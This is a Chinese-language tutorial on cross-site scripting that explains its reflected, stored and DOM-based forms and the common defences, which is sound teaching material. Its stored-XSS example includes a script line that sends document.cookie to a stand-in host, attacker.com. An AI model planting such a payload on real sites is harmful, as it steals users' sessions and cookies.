什么是 XSS?
XSS(Cross-Site Scripting,跨站脚本攻击) 是一种常见的 Web 安全漏洞,攻击者在网页中注入恶意脚本代码(通常是 JavaScript),当受害者浏览该网页时,恶意代码会在其浏览器中执行,从而达到窃取信息、劫持会话、欺骗用户等目的。
XSS 攻击的类型
- 反射型 XSS(Reflected XSS)
恶意脚本作为请求参数被送到服务器,再从响应中“反射”回前端,立即在浏览器执行。通常通过钓鱼链接诱导用户点击。
- 存储型 XSS(Stored XSS)
恶意脚本被永久存储在目标服务器,如论坛帖、评论、用户资料等。每个访问该页面的用户都会执行这些恶意脚本。
- DOM 型 XSS(DOM-based XSS)
攻击代码在前端通过 JavaScript 动态插入到页面中,未经过服务器。由前端 JS 对不受信任的数据进行不安全处理造成。
XSS 攻击的危害
- 窃取或劫持用户 Cookie、Session、Token 等敏感信息
- 以用户身份发起伪造操作(如发帖、转账)
- 诱导用户下载恶意软件或跳转钓鱼网站
- 网页篡改、广告植入、弹窗骚扰等
- 结合 CSRF、社工放大攻击效果
XSS 攻击示例
1. 反射型 XSS
攻击者发送如下链接给目标用户:
https://example.com/search?q=<script>alert('XSS')</script>
如果服务端在响应页面时未对 q 参数做有效过滤,则会直接执行脚本。
2. 存储型 XSS
攻击者在留言板一次留言:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
以后所有访问该留言的用户,浏览器里都会被执行这段恶意代码并盗取 Cookie。
防御 XSS 的常用措施
- 输出编码(Output Encoding / Escape)
任何用户输入内容在输出到 HTML 时都应严格编码,防止其被当作代码执行。
- 输入校验和过滤
对输入内容做白名单校验,拒绝提交包含脚本代码的内容。
- 使用 CSP(Content Security Policy)
限制页面可执行脚本的来源,阻止内联脚本,减轻 XSS 风险。
- 抑制危险 API
避免直接使用
eval()、innerHTML、document.write 等危险 API。
- HttpOnly Cookie
设置 Cookie 的 HttpOnly 属性,降低被 XSS 直接窃取的风险。
- 敏感操作需二次验证
防止 XSS 结合 CSRF 扩大攻击危害。
各大框架的 XSS 防护
- Django、Flask、Spring、ASP.NET 等主流框架模板渲染时默认进行输出转义
- 前端框架 React/Vue 默认对模板内插内容做 HTML 转义